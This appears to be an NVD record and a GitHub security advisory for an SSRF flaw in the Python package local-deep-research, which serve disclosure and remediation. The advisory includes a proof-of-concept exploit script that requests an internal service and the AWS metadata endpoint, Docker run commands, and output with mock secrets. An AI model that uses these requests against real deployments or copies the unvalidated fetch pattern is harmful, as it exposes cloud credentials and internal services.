{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:learningcircuit:local_deep_research:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "3231336E-4CE1-4DCA-BFC0-936899177351",
              "versionEndExcluding": "1.3.9",
              "versionStartIncluding": "1.3.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Local Deep Research is an AI-powered research assistant for deep, iterative research. In versions from 1.3.0 to before 1.3.9, the download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application\u0027s SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls. This issue has been patched in version 1.3.9."
    }
  ],
  "id": "CVE-2025-67743",
  "lastModified": "2025-12-29T16:08:52.113",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2025-12-23T01:15:43.160",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/LearningCircuit/local-deep-research/commit/b79089ff30c5d9ae77e6b903c408e1c26ad5c055"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-9c54-gxh7-ppjc"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-9c54-gxh7-ppjc"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "local-deep-research"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "1.3.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67743"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-23T18:17:27Z",
    "nvd_published_at": "2025-12-23T01:15:43Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe download service (`download_service.py`) makes HTTP requests using raw `requests.get()` without utilizing the application\u0027s SSRF protection (`safe_requests.py`). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.\n\n**CWE**: CWE-918 (Server-Side Request Forgery)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File**: `src/local_deep_research/research_library/services/download_service.py`\n\nThe application has proper SSRF protection implemented in `security/safe_requests.py` and `security/ssrf_validator.py`, which blocks:\n- Loopback addresses (127.0.0.0/8)\n- Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)\n- AWS metadata endpoint (169.254.169.254)\n- Link-local addresses\n\nHowever, `download_service.py` bypasses this protection by using raw `requests.get()` directly:\n\n```python\n# Line 1038 - _download_generic method\nresponse = requests.get(url, headers=headers, timeout=30)\n\n# Line 1075\nresponse = requests.get(api_url, timeout=10)\n\n# Line 1100\npdf_response = requests.get(pdf_url, headers=headers, timeout=30)\n\n# Line 1144\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1187\napi_response = requests.get(elink_url, params=params, timeout=10)\n\n# Line 1207\nsummary_response = requests.get(esummary_url, ...)\n\n# Line 1236\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1276\nresponse = requests.get(url, headers=headers, timeout=10)\n\n# Line 1298\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n```\n\n### Attack Vector\n\n1. Attacker submits a malicious URL via `POST /api/resources/\u003cresearch_id\u003e`\n2. URL is stored in database without SSRF validation (`resource_service.py:add_resource()`)\n3. Download is triggered via `/library/api/download/\u003cresource_id\u003e`\n4. `download_service.py` fetches the URL using raw `requests.get()`, bypassing SSRF protection\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Docker and Docker Compose installed\n- Python 3.11+\n\n### Step 1: Create the Mock Internal Service\n\n**File: `internal_service.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Mock internal service that simulates a sensitive internal endpoint.\"\"\"\n\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\n\nclass InternalServiceHandler(BaseHTTPRequestHandler):\n    def log_message(self, format, *args):\n        print(f\"[INTERNAL SERVICE] {args[0]}\")\n    \n    def do_GET(self):\n        print(f\"\\n{\u0027=\u0027*60}\")\n        print(f\"[!] SSRF DETECTED - Internal service accessed!\")\n        print(f\"[!] Path: {self.path}\")\n        print(f\"{\u0027=\u0027*60}\\n\")\n        \n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        \n        secret_data = {\n            \"status\": \"SSRF_SUCCESSFUL\",\n            \"message\": \"You have accessed internal service via SSRF!\",\n            \"internal_secrets\": {\n                \"database_password\": \"super_secret_db_pass_123\",\n                \"api_key\": \"sk-internal-api-key-xxxxx\",\n                \"admin_token\": \"admin_bearer_token_yyyyy\"\n            }\n        }\n        self.wfile.write(json.dumps(secret_data, indent=2).encode())\n\nif __name__ == \"__main__\":\n    print(\"[*] Starting mock internal service on port 8080\")\n    server = HTTPServer((\"0.0.0.0\", 8080), InternalServiceHandler)\n    server.serve_forever()\n```\n\n### Step 2: Create the Exploit Script\n\n**File: `exploit.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"SSRF Vulnerability Active PoC\"\"\"\n\nimport sys\nimport requests\n\nsys.path.insert(0, \u0027/app/src\u0027)\n\ndef main():\n    print(\"=\" * 70)\n    print(\"SSRF Vulnerability PoC - Active Exploitation\")\n    print(\"=\" * 70)\n    \n    internal_url = \"http://ssrf-internal-service:8080/secret-data\"\n    aws_metadata_url = \"http://169.254.169.254/latest/meta-data/\"\n    headers = {\"User-Agent\": \"Mozilla/5.0\"}\n    \n    # EXPLOIT 1: Access internal service\n    print(\"\\n[EXPLOIT 1] Accessing internal service via SSRF\")\n    print(f\"    Target: {internal_url}\")\n    \n    try:\n        # Same pattern as download_service.py line 1038\n        response = requests.get(internal_url, headers=headers, timeout=30)\n        print(f\"    [!] SSRF SUCCESSFUL! Status: {response.status_code}\")\n        print(f\"    [!] Retrieved secrets:\")\n        for line in response.text.split(\u0027\\n\u0027)[:15]:\n            print(f\"        {line}\")\n    except Exception as e:\n        print(f\"    [-] Failed: {e}\")\n        return 1\n    \n    # EXPLOIT 2: AWS metadata bypass\n    print(\"\\n[EXPLOIT 2] AWS Metadata endpoint bypass\")\n    from local_deep_research.security.ssrf_validator import validate_url\n    print(f\"    SSRF validator: {\u0027ALLOWED\u0027 if validate_url(aws_metadata_url) else \u0027BLOCKED\u0027}\")\n    print(f\"    But download_service.py BYPASSES the validator!\")\n    \n    try:\n        requests.get(aws_metadata_url, timeout=5)\n    except requests.exceptions.ConnectionError:\n        print(f\"    Request sent without SSRF validation!\")\n    \n    print(\"\\n\" + \"=\" * 70)\n    print(\"SSRF VULNERABILITY CONFIRMED\")\n    print(\"=\" * 70)\n    return 0\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n### Step 3: Run the PoC\n\n```bash\n# Build and run with Docker\ndocker network create ssrf-poc-net\ndocker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c \"pip install -q \u0026\u0026 python internal_service.py\"\ndocker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py\n```\n\n### Expected Output\n\n```\n======================================================================\nSSRF Vulnerability PoC - Active Exploitation\n======================================================================\n\n[EXPLOIT 1] Accessing internal service via SSRF\n    Target: http://ssrf-internal-service:8080/secret-data\n    [!] SSRF SUCCESSFUL! Status: 200\n    [!] Retrieved secrets:\n        {\n          \"status\": \"SSRF_SUCCESSFUL\",\n          \"message\": \"You have accessed internal service via SSRF!\",\n          \"internal_secrets\": {\n            \"database_password\": \"super_secret_db_pass_123\",\n            \"api_key\": \"sk-internal-api-key-xxxxx\",\n            \"admin_token\": \"admin_bearer_token_yyyyy\"\n          }\n        }\n\n[EXPLOIT 2] AWS Metadata endpoint bypass\n    SSRF validator: BLOCKED\n    But download_service.py BYPASSES the validator!\n    Request sent without SSRF validation!\n\n======================================================================\nSSRF VULNERABILITY CONFIRMED\n======================================================================\n```\n\n---\n\n## Impact\n\n### Who is affected?\n\nAll users running local-deep-research in:\n- **Cloud environments** (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints\n- **Corporate networks** - attackers can access internal services and databases\n- **Any deployment** - attackers can scan internal networks\n\n### What can an attacker do?\n\n| Attack | Impact |\n|--------|--------|\n| Access cloud metadata | Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations |\n| Internal service access | Read sensitive data from databases, Redis, admin panels |\n| Network reconnaissance | Map internal network topology and services |\n| Bypass firewalls | Access services not exposed to the internet |\n\n---\n\n## Recommended Fix\n\nReplace all `requests.get()` calls in `download_service.py` with `safe_get()` from `security/safe_requests.py`:\n\n```diff\n# download_service.py\n\n+ from ...security.safe_requests import safe_get\n\n  def _download_generic(self, url, ...):\n-     response = requests.get(url, headers=headers, timeout=30)\n+     response = safe_get(url, headers=headers, timeout=30)\n```\n\nThe `safe_get()` function already validates URLs against SSRF attacks before making requests.\n\n### Files to update:\n- `src/local_deep_research/research_library/services/download_service.py` (9 occurrences)\n- `src/local_deep_research/research_library/downloaders/base.py` (uses `requests.Session`)\n\n---\n\n## References\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n- [AWS SSRF Attacks and IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)\n- [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf)\n\n---\n\nThank you for your work on this project! I\u0027m happy to provide any additional information or help with testing the fix.",
  "id": "GHSA-9c54-gxh7-ppjc",
  "modified": "2025-12-23T18:17:27Z",
  "published": "2025-12-23T18:17:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-9c54-gxh7-ppjc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67743"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/commit/b79089ff30c5d9ae77e6b903c408e1c26ad5c055"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/LearningCircuit/local-deep-research"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service"
}